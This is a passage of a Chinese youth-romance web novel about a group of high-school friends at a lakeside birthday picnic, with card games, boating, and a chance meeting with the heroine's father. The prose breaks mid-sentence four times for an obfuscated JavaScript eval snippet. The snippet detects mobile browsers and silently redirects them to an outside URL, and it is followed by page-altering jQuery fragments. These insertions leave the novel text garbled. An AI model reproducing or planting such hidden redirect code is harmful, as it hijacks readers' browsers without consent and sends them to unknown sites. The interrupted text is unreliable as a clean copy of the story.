楼道人来人往,很难一眼注意到他们。 体贴女生身高,他礼貌弯腰俯下身子,气势却不迫人,一条胳膊撑在墙壁上,笑得像个地痞流氓:“假期我过生日,你来不来?” “去哪儿?” 梁筝坦然:“还没想好,不过我已经把处置权交给周铭扬了。” 陈枳南好奇问:“为什么?” “你忘了,上回答应他的事我到现在还没办呢。”朝她使了个眼色。 陈枳南会意,立马切换阳奉阴违的语调:“想不到你这么有奉献精神。” “那当然!为哥们儿两肋插刀……”说到激动处下巴高高昂起,神采奕奕,发觉扯远了便迅速收回,“你就说你来不来,来的话,叫上她们一起。” “哦——”陈枳南狡黠地看着他,“原来醉翁之意不在酒啊。你干嘛不直接去请岚岚。” “女生不是更方便嘛。”梁筝头微微侧了侧,开口嗓音低沉喑哑,“我、得、避、嫌。” * 逗弄别人的结局还是自己反过来被逗弄。陈枳南不服,却也只能哑巴吃黄连。 好在穆岚很快答应,还有阮佳佳。 地点最后选在淮海相对繁华的地段,那边新建了一家极地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765603|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海洋世界,而且连着龙湾湖,风景宜人,很适合春游、野营……约会。 周铭扬的用意人尽皆知,但作为穆岚的好友,陈枳南和阮佳佳对她的想法从来不过问也不掺和,一切以穆岚为准。不过据说穆岚为了保护周铭扬同学的自尊心,已经明里暗里拒绝他很多回了,只可惜他一颗榆木脑袋不知所云。 周铭扬或许不会知道,穆岚这次答应出来一起玩,也是看在寿星的面子上。 每个参与其中的人都各怀心思,眨眼将期中考试带来的一系列“后遗症”统统抛到了九霄云外。 假期在期冀中如约而至。 这是他们几个第一次正式出去玩,约好十点钟在龙湾湖见面,陈枳南定了大清早的闹铃去超市采买。 几人分工明确,穆岚负责水果和餐垫,阮佳佳负责瓜子和坚果,周铭扬负责桌游卡牌和零食饮料,而陈枳南则负责准备驱蚊液、一次性餐具、垃圾袋等必需的零碎物品。 她今天毕竟是配角,所以简单收拾了下,一身粉格纹短袖衬衫和深蓝牛仔裤,挽了两个可爱的低丸子,再挎了一只装着巴掌画板和素描笔的小挎包便出门了。 天气预报上显示阴天,本以为不会太热,没想到从超市出来后不仅没阴天,甚至连一片云都看不见,万里蔚蓝晴空。 刚跨出公交车台阶与外界的分界线,后背就已热得浮出一层汗。 好在越靠近湖边越凉快,视野也越来越开阔。路边是一望无尽的渐变色蔷薇,抬眼柳叶抽枝,嫩绿翠绿交杂垂下,点缀在湖面,有蝴蝶嬉闹穿梭,头连着尾,尾连着头,像一串人鱼落下的晶莹泪珠。 车辆和人群熙来攘往,却还是如此恬静。 生活在这座城市的人大概都无比幸福吧。 陈枳南在靠近湖边的一片树荫下驻足。 因为她一眼就注意到了——有个身影半躺在绿色草坪中央,一只胳膊支住地面,两条腿散漫伸展开,懒懒仰头,漫无目的地望着湖水。 察觉到身旁气息,男孩忽然回头,额发甩动,懒倦惺忪霎那间烟消云散,和着微风,挑起一个洒然的笑容。 烈阳一瞬间柔和。 鼻尖拂过清爽的皂香。 “还是你靠谱,估计等那几个少一窍的到齐了,蛋糕都化没了!”话里带些嘲讽,梁筝皱着眉头直起上半身,手臂搭在膝盖。 牛仔裤,格子衫。 陈枳南吃惊,不由自主瞪大双眼:“你……怎么穿成这样?” “怎么了?”梁筝狐疑看她,又上下打量着自己,勾唇,轻哼了声:“还真巧。” “巧过头了。让别人看见,可……”心虚作祟,没有继续往下说。 不对,她心虚什么? 梁筝站起来接过她手里提着的东西,和一旁蛋糕盒子放在一起,道:“嘁,这有啥的,不行吗?” “说谁少一窍呢!我可都听见了啊!”不远处传来中气十足的声音。 二人转身看去,周铭扬驼着一大个背包走在前,身后并排跟着两个明媚的女孩。 脱下校服的女孩比平时更是漂亮一百倍,穿着短裤的穆岚英姿飒爽,穿着白裙的阮佳佳玉立亭亭。 周铭扬歪嘴坏笑,声音缺心眼似的抬高不少:“嗬,你俩情侣装啊。” 14. 酸橘(8) “干杯!” 可乐罐高高汇聚在人群中央,发出“叮叮当当”的声响。 他们寻了个坐可观景,卧可听湖的绝佳位置,铺上野餐垫围成一圈,将带来的东西统统都堆在面前。 “没想到啊,叫了这么久的筝哥,他居然今天才十六?” 周铭扬佯作十分委屈。 梁筝嘁声,梗住脖子笑道:“哎——这可是你自愿的啊。再说了,你就比我大几个月,有什么嘚瑟的?” “大几个月也叫大。”周铭扬为自己打抱不平,“我穿开裆裤走路的时候,你还不知道在哪个摇篮里吐泡泡呢。” 众人齐声笑作一团。 “人家可看着比你成熟多了。”穆岚补刀。 陈枳南脸都笑僵了。 梁筝也笑,无奈摇摇头:“行,老了你走我前面我不跟你争昂。” “切,咱俩谁走谁前面还不一定呢。”周铭扬起身翻找东西。 陈枳南眼神鄙夷,眼疾手快抓住周铭扬裤脚:“说什么呢周铭扬,人家过生日,快呸呸呸。” “好好好,呸呸呸——”周铭扬哄小孩儿似的,敷衍了事,“哎呀我开个玩笑,哪有这么多禁忌,再说今天也不是他生日,明天才是。” 胡乱解释一通才换来裤脚自由。 阮佳佳低头认认真真数着蜡烛:“这蜡烛够十六根吗?” “管它呢,有多少放多少,必须长长寿寿的啊。”周铭扬找到打火机回来,蜡烛也已准备就绪。 己经分不清是谁的手,层叠交织在一起,小心翼翼保护着这缕希望之火一枚一枚向下传递。 待点好最后一根蜡烛,人堆里响起尖锐的声音—— “快快快,许愿!” 穆岚紧急掣肘:“等等等等,相机还在开机呢!” “太慢了吧这相机,果然捡来的没好货。” “好了好了,许吧!” “帽子没戴快戴帽子!”有人提醒。 为他戴好生日帽,陈枳南从梁筝身后的镜头里消失。 录影灯闪烁,画面聚焦,定格在今天的主角身上。左边是光华夺目的蛋糕,右边是被蜡烛映成金黄色的脸庞。 双手合十,庄严肃穆。 那是一个少年最虔诚的祈祷。 充满朝气的脸上,轻轻扬起的嘴角,足以让周围一切都黯然失色。 或许就是这一眼,便让陈枳南以后的日子里,再难忘却。 “我希望——”梁筝忽然开口。 阮佳佳连忙抓起一包薯片,砸上他胳膊:“别说出来,说出来就不灵了!” 梁筝猛地住嘴:“迷信。” 左一嘴右一嗓子的嘈杂最终被强制性殊途同归:“三二一起——” “Happybrithdaytoyou,happybrithdaytoyou……” 歌声悠扬悦耳。 也许此时,所有人心中都会默默祈祷。祈祷这样欢乐吵闹又幸福和谐的场面,能再久一些。 微风轻卷,裹着吹灭的蜡烛和属于青春的笑声,飘向少年们憧憬的,未知的远方。 屏幕闪烁,穆岚把镜头转向自己:“我叫穆岚,是梁筝的同桌,祝我同桌生日快乐,以后少给我惹事!” “我我我,我是周铭扬,是梁筝的大哥!但我还是习惯叫他哥,筝哥,生日快乐!寿比南山大石头!福如东海老乌龟!”周铭扬使尽浑身解数。 梁筝笑弯了眼睛,打趣似的踹了他一脚。 “我叫阮佳佳,很高兴认识大家,祝梁筝生日快乐,未来继续绽放光彩。” 镜头对准陈枳南。 “我。”陈枳南一紧张就会不自觉地抠手指,但依旧微笑着,对着镜头说,“我叫陈枳南,祝梁筝生日快乐。” “就这个啊,再多说两句,多说两句。”耳边起哄怂恿。 陈枳南思索片刻:“愿你……一生自在,逍遥如风,永远……永远不被束缚。” “好。”梁筝郑重回答,眼角弯出褶子。 她彻底溺在他的眼睛里。 “来,寿星切蛋糕!”周铭扬把塑料刀扔给梁筝。 梁筝立身坐正:“那我切了?” “切啊。” “我切!”一巴掌糊上去满满的白色奶油。 周铭扬滑稽一叫,远看只剩眼睛鼻孔四个洞。 泥菩萨过河自身难保,几人捧腹大笑,陈枳南瞅准时机,偷偷揩了两指奶油,左右开弓:“沾沾喜气!” “哎哎陈枳南!”阮佳佳脸上遭殃,扭着头去挠陈枳南腰间痒痒肉。 穆岚也沾了一嘴奶油,兴冲冲跳起:“俩幼稚鬼,搞他们!” 几条腿在草地上跑得乱七八糟。 “别跑!” 不知从哪儿飘来的小雨点浇在他们头上,抬眼一看,巨大的洒水车正贴着路边“嗡嗡”驶来。 “还是快跑吧……” “东西,快把东西往里挪挪!”手忙脚乱。 * 树荫连成片。 周铭扬倚在梁筝腿上,打了个弥天大嗝:“撑死我了,没想到零食也能吃这么饱。” “你这肚子塞什么塞不饱?”穆岚笑骂他。 “佳佳,这寿司和三明治从哪儿买的,这么香。”陈枳南咽下嘴里最后一口。 阮佳佳羞道:“不是买的,是我自己做的。” 穆岚接过话茬:“有这手艺,以后谁要是娶了你,那真是有福气了。” “娶你才有福呢,我们穆岚女士人美心善,独立坚强,是多少男生的梦中情人呀。”阮佳佳揽住穆岚肩膀,余光扫过周铭扬,话里有暗指。 “那是。”陈枳南附和,“就咱们穆大美女这旺己又旺夫的面相,小小一中可施展不开,等到了大学,情书不得堆成小山。” “行了你俩,低调,低调。”穆岚吐吐舌头。 周铭扬亮起眼睛:“你们还会看面相?那快看看我,我这脸像不像有福的?” “你……”梁筝睨着身旁,歪嘴一笑,“有,肯定有,傻人有傻福。” 周铭扬狠狠还了他一脚。拿出背包里的纸盒:“咱们来玩牌吧。” “五个人的话,只能打保皇喽,或者三个人斗地主,两个人玩别的。”穆岚说。 梁筝挑眉:“我要是加入,那你们岂不是没得玩了呀。” 周铭扬“啧”了一声,摆摆手:“打扑克多没意思,咱们玩别的,我最近新学了一招‘碰碰车’。” “随机出牌,同花色同数字的牌碰一起,那就是‘有缘千里来相会,三笑徒然当一痴’,两个人需要对视十秒,输的人表演节目;同花色连数字的牌碰一起,那就是追尾,前面的人当警察,后面的人被逮捕,需要回答警察提问,最后面前牌剩余最多的人安全通车。” “这都什么乱七八糟的。”穆岚边吐槽,却边把垫子中间收拾出一片放牌的空地,“来吧。” 梁筝从周铭扬手里抢过纸牌:“我来洗牌。”莫名兴奋,一摞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765604|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又一摞洗着,没注意衣角忽然被身旁的手指拽住。 “你不干净。”陈枳南脑袋刻意凑上去,把声音降低到最小,小到只有他们两个可以听见。 梁筝没有看她,专注于手心:“哪里不干净?” “哪里都不干净。”陈枳南盯着梁筝手掌,“你有任务?信不信我告诉穆岚。” 梁筝吓得吹手指:“嘘!好戏不看是傻子。” “有什么好戏?” “看哥操作……” “你俩嘀咕什么呢?”周铭扬撞撞梁筝肩膀。 梁筝瞥他一眼,装样子道:“嘀咕怎么赢你。” 所有人都把发完的牌倒扣在面前,每出一张都只需随机抽,众生平等,全靠运气。 不,她差点忘了梁筝这个机灵家伙,还有幕后BOSS周铭扬。陈枳南不怀好意,歪头看他:“你先出吧。” 纸牌“啪”一下落地甩出声音:“方片9。” 周铭扬:“红桃3。” 穆岚:“红桃3……?” “有缘千里来相会!”梁筝跳脚大叫,“快快,对视十秒。” 这就是你的操作?陈枳南哭笑不得,偷偷朝梁筝竖了个大拇指。 愿赌服输。穆岚心一横,扭头看周铭扬:“来吧。” 本是个让姑娘们脸红心跳的游戏,但相比穆岚,周铭扬更像个羞答答的小女人。许是他也没想到这暗箱操作的缘分来得这么快,头被强制性掰过去的瞬间,一时红了脸。 空气静谧,眼波流转。 “一,二,三……”尾音越拉越长,早已超过十秒。 “我输了!输了。”周铭扬眼神闪躲,灰溜溜地败下阵来。 如果说心跳是躯壳的共振,那对视就相当于灵魂的触碰,可以在不知不觉中将暧昧的气息加热至沸点。 陈枳南原以为,对视是难得的可以窥破对方心灵,窥破秘密的机会,要极力在那双眼睛里汲取平时看不到的东西,越久越好。 但看见刚才落荒而逃的周铭扬,她好像有了新的见解。 大概是因为对面是自己喜欢的人,所以输也能够输得心甘情愿,逃跑不是懦弱,是只对她特殊的肯定。 “那我唱首歌吧。”周铭扬环顾四周,眼神在湖边某处定格,“等我一下。” 不多时,抱来一把吉他。 陈枳南“哇”一声,问周铭扬:“你哪里弄的吉他呀?” “我看那边野餐的有人带了,就问他借了一会儿。” 穆岚惊讶:“你还真会啊?” “你们不知道吧,男生界里公认的最有魅力的标志,一般分三种,一种是街机游戏全部通关,一种是打篮球欧洲步上篮,最后一种,就是会吉他弹唱。我哥们儿全占了!”梁筝颇为满意地拍拍哥们儿肩膀。 “嘿嘿,上过几节课而已。”周铭扬又不好意思挠挠头。 “啊?不应该是比谁尿的高吗?”穆岚认真问。 “穆!岚!!”阮佳佳和陈枳南尖叫着堵住耳朵。 穆岚耸肩,一脸欠欠的无辜:“怎么了,我弟弟就是这样啊。” 周铭扬盘腿坐下,将吉他架在胸前。 指尖轻拨,扬起一段和弦: 风吹落最后一片叶,我的心也飘着雪 爱只能往回忆里堆叠,给下个季节 忽然间树梢冒花蕊,我怎么会都没有感觉 整条街都是恋爱的人,我独自走在暖风的夜 多想要向过去告别…… 15. 酸橘(9) 阳光,草地,吉他,歌声……画面温柔和谐。这些小小的元素拼凑在一起,短短一首歌的时间,所有人仿佛都徜徉在纯白宇宙里。 指尖自上而下划过,最后一段和弦结束。 “Woo——”座下极力捧场。 “继续来!我已经想好要问你们什么问题了,保证够刺激,够劲爆。”穆岚得意坏笑。 陈枳南瞄了一眼梁筝,猜不透他似笑非笑的表情,不过以她的直觉,接下来肯定不会有好事发生。 阮佳佳掀牌:“黑桃K。” 又一轮陈枳南红桃J、梁筝梅花A。 周铭扬自信一抽:“红桃9。” “红桃……”穆岚有些紧张,捏住纸牌一角,慢慢揭开,“9。” ? 阮佳佳高高举起两张牌,不可置信道:“不是吧岚岚,你今天桃花太旺了。” “有缘千里来相会!”梁筝再次跳脚,高兴地跟他找到了老婆似的,“有缘啊,真是有缘,那再来呗?” 周铭扬惊恐,朝梁筝眉飞色舞,口型大致说的是:我今天就准备了一首歌! 还不是为了帮你。梁筝咧开嘴角,回了他一句。 再这样下去,非出乱子不可。陈枳南咬着嘴唇,用力控制表情,手慢慢伸下去,掐了下梁筝小腿肚。 梁筝吃痛,稍稍熄灭了一丢丢热情。 穆岚火冒三丈:“哪有这么巧的事!这牌有问题,敢不敢拿过来让我看看?”她向周铭扬伸手。 “没有,没有……”周铭扬有些心虚,手里的牌被一把夺走。 陈枳南把抢来的牌攥在手心,死死跟自己的牌贴在一起:“我太好奇了!我先帮你看看……” 一共两副牌,一半红桃居然在周铭扬的手里。 那另一半,就都在穆岚手里…… 陈枳南后背寒毛快竖满了。 余光扫过梁筝,不用看就知道,一定是露馅之后,无辜又可怜巴巴地眼神。 “挺,挺正常的啊,”她一边说,一边悄悄递给周铭扬。 穆岚打算起身截停:“我不信,拿来我看看。” “哎呀!”手指交触的瞬间,陈枳南一个“没抓稳”,纸牌便稀稀落落掉进了牌堆里,“抱歉抱歉,已经混了,要不……咱们重新来?” “那好吧,你洗,我们看着。”穆岚拍板,满座无人敢言。 陈枳南收齐了牌,在四双眼睛的庄严注视下重新洗牌发牌。 “从我开始吧。”陈枳南亮牌,“黑桃Q。” “黑桃Q。” ? 穆岚反应迅速:“哎!有缘千里来相会!” 不是吧,替人背锅的报应这么快就应验了?典型搬起石头砸自己的脚。陈枳南有些昏头。 梁筝估计也没想到会有这茬,像只呆头鹅静止在原地。 “快点快点,别磨蹭——” 轮到穆岚凑热闹时,显得格外兴奋,恨不得现在就给他俩在这儿大办一场似的,推搡着两人转身,行注目礼。 视线交汇那刻,环绕周身的空气停止流动,早已分不清是谁的皮肤细胞肉眼可见的升温。 与之前经常看他的角度不同。如今两个人面对面坐着,虽然她依旧仰着头,但身高差不再成为最大的阻碍,距离更近,更加触手可及,一张脸如此周正,睫毛又密又长,浓郁的眉眼,俊俏的鼻梁,流畅的轮廓……甚至看得清眼睛里悄悄爬上的红血丝。 心跳乱了,她知道自己完蛋了。 但她不知道,某人也完蛋了。 陈枳南从不觉得自己好看,也从不觉得自己特别。 虽然白,但细细看去,小小的雀斑芝麻一样洒在脸颊和鼻梁上,五官平平无奇,更没有言情小说里说的桃花眼,柳叶眉。 就是这样自卑的心理,致使她在任何一段关系中,都习惯自降低位,保持劣势。 其实她有一头乌黑亮丽的长发,这一点像极了妈妈傅行兰。可她从来不觉得这是件好事,拥有跟再也没机会见面的人一样的东西,就像是拥有刺痛自己独一无二的利剑,这样的纪念品,她宁愿不要。 防线快要被击溃,在她即将扭头的瞬间—— “我输了。”梁筝转过头,淡淡说。 谢天谢地。陈枳南长舒一口气。 “可我不会弹吉他。”他扬扬下巴,“老周,你来伴奏吧。” 周铭扬说:“没问题。” 大家坐成一排。 梁筝起身,随意拿了个汽水瓶举在胸前,当作话筒。 眉毛桀骜扬起,少年意气风发在此刻体现的淋漓尽致:“春未尽,夏初临;现在是,五月天时间——” 怎么去拥有一道彩虹,怎么去拥抱一夏天的风 天上的星星笑地上的人,总是不能懂不能觉得足够 如果我爱上你的笑容,要怎么收藏要怎么拥有 如果你快乐不是为我,会不会放手其实才是拥有 …… 这是陈枳南第一次听梁筝唱歌,没想到的是,他唱歌的声音,比平时说话时的声音还要清润好听。 似林间清泉,击玉般冰凉的音色,不费力气的高音尤为动听,干净又柔软,可控范围内多了些不循规蹈矩的叛逆,如同天边风筝。 就像陈枳南送给梁筝的生日祝福。 自由,不受束缚。 因为风筝本来就是要飞上天空的。 * “方片7。” “梅花K。” “方片6。” 梁筝提醒:“哎,追尾了。” “南南大,周铭扬小,那……周铭扬当警察?”阮佳佳越说越不确定。 “终于轮到我出手了,我可得好好想想。”周铭扬笑得奸诈。 右边穆岚“啧”了一声,像个笑面虎:“好好问,别逮着机会就欺负我们家枳南。” 周铭扬坐正:“怎么会呢,我最温柔了。”话音刚落,胳膊便被左边抽了一下。 思索片刻:“小时候被妈妈打得最惨的一次是因为什么?怎么样,温柔吧?” “你以为人家跟你一样。”穆岚不屑,“枳南小时候肯定特别招人喜欢,不会挨揍的。” 阮佳佳点点头:“就是。” “我妈妈……”陈枳南双眼忽然空洞。 回忆不可控地翻涌而来,像一只吞食情绪的野兽。 从小学开始,陈枳南就没再见过她。脑中的记忆异常单薄,要说最近一次,还是在医务室做的梦里。 她微笑,如实回答:“她很温柔,从不打我。” “你看,我说吧。”穆岚说。 气氛一瞬间安静,不再有人接话。 梁筝把牌往前面一撂,道:“光玩牌也没意思,这会儿不热了,咱们去划船吧。” 阮佳佳抱着膝盖,有点难为情,弱弱道:“我怕水……就不去了,可以留在岸上给你们拍照。” “行,那我跟枳南一组,把我俩拍好看点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765605|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆岚一把搂住陈枳南,两个人如胶似漆黏在一起。 梁筝看着她们,无奈笑笑,又忽然提议:“那个,建议一条船配一个男生,不然要是有紧急情况,我们还能稍微救一把。” 周铭扬表示肯定。 没等穆岚反应,梁筝继续抢占先机,语气不容置喙:“陈枳南跟我。” * “四十分钟之内把船停回船埠。”龙湾湖的船舶管理把救生背心发给他们,叮嘱了一些注意事项。 “好嘞。”周铭扬爽快答应,转身对穆岚说,“来,我帮你。” “不用了,卡扣在前面。”穆岚自顾自捣鼓着胸前的背心卡扣。 周铭扬吃瘪,委屈说:“不是……是这个绳子要系在后面。” 被迫妥协。 “转过来。”梁筝声音温柔。 怔了一下后,陈枳南乖乖转身。 动作轻柔,几乎感觉不到撕扯。 “又系了个蝴蝶结吗?”陈枳南突然问。 “那不然系什么,别的我也不会呀。”梁筝笑语,“要不然改天你教教我?” 陈枳南接着“嗯”了声,才发觉太过顺口,又补充道:“好。” “刚才多亏了你。”梁筝脸上难得出现愧疚,“要是让穆岚发现了,她非得打折我一条腿不可。” 陈枳南还以为,梁筝这个一玩起游戏来就不知道天高地厚的榆木脑袋看不出端倪,没想到他心思也这么细腻。于是大胆开口:“救了你一条腿,打算怎么谢我?” “请你吃冰激凌,最贵的那种。”他笑得灿烂,一排牙齿整整齐齐。 男生们扶着女生们上了船,一人在左一人在右,微风正好,船顶遮盖下也没有晒到多少。 梁筝起了兴致:“咱们比赛,看谁先围着湖蹬完一圈。” 陈枳南无奈叹气。 “比就比,我这儿可有穆大班长坐镇。”周铭扬不甘示弱。 “你们两个倒是尽兴,可别把我俩带沟里去。”穆岚两手一摊,“走喽。” 梁筝被吓了一跳:“歪!我还没说开始……” 龙湾湖的绿色生态建设无可挑剔,被公认为淮海之肺,占地面积虽然不大,但徜徉其中时,难免会被醉倒。 碧水蓝天,宁静心灵。 不过,这里景色最美的时节其实是冬天。 那时湖岸上的岩石被白雪覆盖上薄薄一层银装,湖面的冰将结未结,空气中弥漫着丝缎般的雾气,远远看上去,水天交接,似梦似幻,似是一脚踏进了九重天。 波澜不惊的湖面,两只小船一前一后,遨游其中,船只掠过后荡起的每一条波纹,都是精雕细琢。水面波光粼粼,泛起珍珠。 “筝哥!你快点啊!我都快看不见你船头了!”周铭扬扯着嗓子大声喊。 陈枳南加快了速度:“我们蹬快点,追上他。” “嗐,我那比赛就是随便说说玩的,他这个人啊最不经激将了,要不然怎么让他俩团结呢。”梁筝讲得头头是道。 “你还挺用心。”在撮合他俩这事儿上。 船一侧忽然加大马力,导致短时间内的偏航,梁筝紧急提升自己脚下的速度,试图寻找平衡。 可两侧速度不均,船体晃动幅度越来越大,大到陈枳南用尽全力抵住船缘,靠近湖水那边的肘尖险些蹭到水面…… “小心!”梁筝一把抓住陈枳南胳膊。 若没有座位中间的隔挡,刚才的力气几乎能够将她拽进怀里。 16. 酸橘(10) 掌心温度滚烫,烫过她的皮肤,意识瞬间从恐怖的湖水底被拉回现实。猛然回头,才发现自己竟和他靠得这么近。 轮廓模糊不清,目光所及,只有静止的五官。 “谢谢……”陈枳南落荒而逃,乱了呼吸,二氧化碳迅速在胸腔聚集、膨胀。 梁筝微笑,点头回应:“应该的。” 手已经拿开,但心脏依旧怦怦跳着,皮肤灼热,仿佛残留着他的温度。 耳边喜鹊争叫,一阵无言。 陈枳南打破沉默:“你,运动会准备的怎么样了?” “简单,随便跳两下就得分喽。” 她喜欢这样的他,讲话的时候下巴微微昂起,眼睛亮亮的,仿佛对所有的未知都充满确定,仿佛只要有他在,就不会有意外发生。 暖阳倾斜,画面像一张限定版明信片,被少女悄悄收藏。 他接着问:“你会来看我比赛吗?” 她也不确定,虽然是有全场运动会志愿者的头衔,但具体安排还是要看总部分配,一人只能负责一个项目的服务。情非所愿,却也只能将事实和盘托出:“我……不一定被分到田赛区还是径赛区。” 挺直的脊背逐渐松懈,可梁筝并不驼背。 她感觉的到,身边男孩明显的失落。 “但,如果是你比赛的话。”陈枳南咬牙鼓起勇气,扭头看他,“我一定去看。” 眼睛水汪汪,像梅雨绵绵不绝,泥土里疯狂滋长的情愫满得快要溢出。 她想说,因为,你跟别人不一样,你是…… “好朋友,够仗义!”梁筝大笑,拍拍她肩膀。 但她明白,自己是无论如何都无法说出口的。 梅雨下进了心里。 * “看看我给你们拍的照片,怎么样,好看吧?”阮佳佳拿着相机来迎接他们,裙摆飞扬,笑得甜美。 屏幕一帧帧闪烁,穆岚和陈枳南脑袋粘在一起翻看照片:“不错哎佳佳,这张笑得刚好!” “周铭扬怎么咬牙切齿的?”陈枳南抬头瞧瞧周铭扬,暴露在阳光下的脸蛋还未褪红。 周铭扬无奈:“光顾着使劲了,哪有功夫摆pose啊。” “说的跟我没使劲似的。”穆岚照例怼他。 许是还在回味与心上人同舟共渡的幸福瞬间,周铭扬没再说话,只一味在旁边傻笑。 阮佳佳兴奋道:“南南,你往后翻,有一张拍得你特别美!” 画面里,沉静美好的女孩笑不露齿,眼眸藏着笑意,圆润的苹果肌平添几分可爱,远远看去,像朵将开未开的小雏菊。 身后男孩身体微微侧着,垂眸凝望,像是她的方向。 只是照片上,男孩的脑袋正好处在阴影和光明的交界处,远看还可以勉强分辨,近看就只是一片密密麻麻的像素点。 “我靠,男俊女美啊。”毕竟不是自己,所以周铭扬的夸赞毫不吝啬,“就是筝哥的脸有些模糊,我就说这捡来的破相机不好用吧?” 本来就是白拿人家的,有就不错了。穆岚翻白眼:“不好用?有本事你买一个?” “买就买……”又开始吵闹,“嘿嘿,不过照片确实拍的不错,你们要是想洗出来,我就拿回去找人做个画质修复,效果杠杠的。” “梁筝,你在看哪儿呀?”话锋一转,阮佳佳凑上去,语气带着一丝逗弄。 不知怎的,陈枳南有些紧张,搅缠在一起的手指都一时僵冷。 他唇角轻勾,笑道:“在看风景。” 几人吵闹着上岸,回到营地,立马动身收拾垃圾,把余下来不及吃的零食一股脑塞进了周铭扬的大背包里。 “咱们几个战斗力还真行,这比来的时候轻多了。”周铭扬边走边喷花露水,草地间忽而扬起薄荷清香。 梁筝和陈枳南走在前面。 也许是刚才划船又累又热的缘故,此刻漫步街上,柳叶飘动,过滤着心绪焦躁,衣角钻进的风都是凉爽的。 “走,答应你的冰激凌。”梁筝挑眉。 陈枳南淡淡道:“一根绿豆冰棒就好了。” “那不行。”梁筝的眉毛快要飞出天际,“我一条腿才值一根绿豆冰棒?” 陈枳南连连摇头。 见她还是想要推拒的样子,灵机一动,回头问:“你们热不热?” “热——”异口同声。 梁筝颇为满意,道:“那带你们去买冰棍,我请客。” 大家循着梁筝的尾巴,拐了好几个弯,在距离海洋馆不远处一家专门卖冰棍的门店前停下脚步。 一排盖着棉被的冰柜整整齐齐躺在那,踏进门槛,皮肤瞬间降温。 “除了哈根达斯,其余随便挑。”梁筝拿出大哥大的气势对大家说,却转身拉住陈枳南胳膊,走到收银柜台边。 柜台边坐落着一个包装精美的小型冰柜,柜门上结了一群薄薄的霜,里面装的不是冰棍,而是一层层摆放整齐的盒装冰激凌。 “要哪个?我给你们拿。”老板热情招呼。 “选一个味道吧。”梁筝语气慷慨。 陈枳南好奇,凑上去仔细瞧,一串H开头的英文字母毫无防备地钻入脑海,猛猛冲击着她眼球。 “?”陈枳南仰头看梁筝。 梁筝轻轻把腿抬起来,压声说:“两条腿,咱俩一人一盒,值不值?” 陈枳南没再拒绝,随手指了一个香草味。 “两个香草冰激凌。” “来两个香草冰激凌。” —— 耳边穿过男人浑厚的嗓音,音符刺猬似的爬过陈枳南脑海,痒痒的,好像在哪儿听过。 一条爬满青筋的小麦色手臂划进她视线。 顺着手臂,慢慢移向指尖。 手指蜷在掌中,却还是能分辨,那短了一截的无名指。 是他。 …… 她总觉得这一刻很漫长。 回忆起来,却只有短短几秒。 “爸?”声音微微颤抖。 三对目光交错缠绕,冷的,热的,乱成一锅粥。 陈敬山同样惊讶:“枳南?” 男人脊背挺拔,身段不输面前的少年。西服衬衫,西服裤,胸前打着领带,头发灰黑,胡须整洁,眉眼间和陈枳南有着说不出的相似。 正想着如何解释今天的偶遇,视线里却突然多出一个人。 一个陌生女人。 和陈敬山年龄相仿,长相温婉,身材娇小,穿着普普通通的针织短袖和裙子,安安静静站在陈敬山身后。 她好像对这个突如其来的场面很是好奇,打量过一圈后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765606|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终落回到陈敬山身上。 她长着一双和傅行兰极其相似的眼睛,澄澈,却充满故事,不同的是。 她的眼里只有陈敬山。 喉咙被不上不下的一口气哽住,陈枳南嘴巴微微张着,只维持着基本呼吸,发不出任何声音。 夹心饼干一样奇妙的站位,让梁筝处于尴尬中,但他似乎并不觉得尴尬,而是马上立正,微微俯身:“叔叔阿姨好!这么巧,在这儿都能碰见!哈哈哈哈……” 身后三人闻声,齐刷刷走上前站成一排:“叔叔阿姨好!” “你们好,你们好。”陈敬山笑着举手打招呼,陌生女人也轻轻点头回应。 穆岚凑上前,搂住陈枳南肩膀:“哇——叔叔果然很帅,枳南经常跟我们提起您,今天终于见到活的了!” 陈敬山记得这个活泼的小姑娘。在他和陈枳南通过的为数不多的几次电话里,偶有提起过穆岚的名字。 